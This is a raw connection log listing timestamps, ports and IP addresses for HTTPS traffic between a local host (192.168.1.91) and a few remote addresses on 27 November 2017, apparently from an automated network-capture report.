Nov 27, 2017 12:34:52.968035936 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.973360062 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.973387957 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.973534107 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.973556042 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.979475975 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.979506016 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.979633093 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.979654074 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.980561972 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.980588913 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.980665922 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.980684042 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.027124882 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.027153969 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.027324915 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.027342081 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.065599918 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.065634966 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.065651894 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.065781116 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.065802097 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.072571993 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.072602034 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.072747946 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.072768927 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.088948011 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.088980913 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.089124918 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.089144945 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.104990005 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.105007887 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.105014086 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.105115891 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.105135918 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.117558956 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.117583036 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.117711067 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.117729902 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.120018959 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.120048046 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.120099068 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.120117903 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.120698929 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.129857063 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.133704901 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.133728027 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.133877993 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.133893013 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.137826920 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.137850046 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.137950897 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.137970924 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.147363901 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.147388935 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.147404909 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.147531033 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.147567034 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.150599003 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.150625944 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.150712967 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.150743961 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.157977104 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.158001900 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.158005953 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.158130884 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.158168077 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.164092064 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.164127111 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.164244890 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.164273977 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.166484118 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.166507959 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.166594028 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.166623116 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.171196938 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.171222925 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.171292067 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.171325922 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.173590899 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.173614979 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.174151897 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.174175978 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.177412987 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.177438021 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.177561045 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.177592993 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.180645943 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.180670977 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.180685997 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.180691957 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.180696011 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.180934906 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.180965900 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.185659885 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:53.185713053 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:53.185820103 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:53.186496973 CET	49171	443	192.168.1.91	154.35.175.225
Nov 27, 2017 12:34:53.186523914 CET	443	49171	154.35.175.225	192.168.1.91
Nov 27, 2017 12:34:53.186603069 CET	49171	443	192.168.1.91	154.35.175.225
Nov 27, 2017 12:34:53.187582016 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.187597036 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.187712908 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.187736988 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.190174103 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.190198898 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.190279961 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.190304995 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.192118883 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.192778111 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.192797899 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.193414927 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.193442106 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.193453074 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.193470001 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.193495035 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.193516016 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.193939924 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.196813107 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.198364973 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.198389053 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.198585033 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.198616982 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.200906038 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.200930119 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.201297045 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.201318979 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.205630064 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.205662012 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.205671072 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.205805063 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.205827951 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.207017899 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.207048893 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.207417011 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.207431078 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.209274054 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.209307909 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.209445953 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.209475994 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.211982965 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.212016106 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.212028980 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.212125063 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.212157965 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.212611914 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.214988947 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.215023994 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.215143919 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.215167046 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.216963053 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.216995001 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.217072964 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.217089891 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.217490911 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.218612909 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.218647003 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.218656063 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.218743086 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.219333887 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.220084906 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.220783949 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.220817089 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.220838070 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.220889091 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.220936060 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.220961094 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.220973969 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.221272945 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.222338915 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.223241091 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.223259926 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.223274946 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.223491907 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.224827051 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.225416899 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.225442886 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.225461006 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.225544930 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.225836992 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.227236032 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.227268934 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.227286100 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.227411985 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.227874041 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.229031086 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.229065895 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.230041027 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.230086088 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.230205059 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.230967999 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.230988979 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.231317997 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.231883049 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.231905937 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.231915951 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.232105970 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.233069897 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.233102083 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.233107090 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.233201027 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.233375072 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.233684063 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.233710051 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.233727932 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.233831882 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.234241009 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.234266043 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.234271049 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.234867096 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.235661030 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.235672951 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.235716105 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.235801935 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.236983061 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.237060070 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.237092018 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.237109900 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.237852097 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.239492893 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.239525080 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.239953041 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.240739107 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.240768909 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.241640091 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.241657019 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.241858006 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.241892099 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.244265079 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.244285107 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.244766951 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.244797945 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.246558905 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.246575117 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.246695995 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.246728897 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.248694897 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.248704910 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.248855114 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.248872995 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.249187946 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.250138044 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.250164032 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.251032114 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.251044035 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.251055956 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.251244068 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.251254082 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.251844883 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.251861095 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.252249956 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.255136013 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.255152941 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.255166054 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.255264997 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.255902052 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.257148981 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.257164955 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.257378101 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.257946014 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.257966042 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.257975101 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.258057117 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.258913040 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.258925915 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.258936882 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.259027004 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.260297060 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.261122942 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.261156082 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.261425018 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.261440992 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.262465954 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.262481928 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.262540102 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.262557030 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.265273094 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.265296936 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.265301943 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.265377998 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.265394926 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.266923904 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.266957998 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.267031908 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.267050028 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.267282963 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.267297983 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.267473936 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.267489910 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.268186092 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.269221067 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.269529104 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.269541979 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.269620895 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.269638062 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.271702051 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.271717072 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.271723986 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.272058010 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.272082090 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.272416115 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.272433996 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.272536993 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.272559881 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.274115086 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.274130106 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.274137020 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.274270058 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.274302006 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.274321079 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.274333000 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.274872065 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.274907112 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.278497934 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.278527021 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.282160997 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.282170057 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.282532930 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.282561064 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.289243937 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.289261103 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.289350033 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.289375067 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.292454004 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.292474031 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.292571068 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.292598009 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.292613983 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.292629004 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.293627977 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.293647051 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.297925949 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.298063993 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.298086882 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.303631067 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.305263042 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.305280924 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.305294991 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.305351973 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.312305927 CET	443	49167	192.30.253.121	192.168.1.91
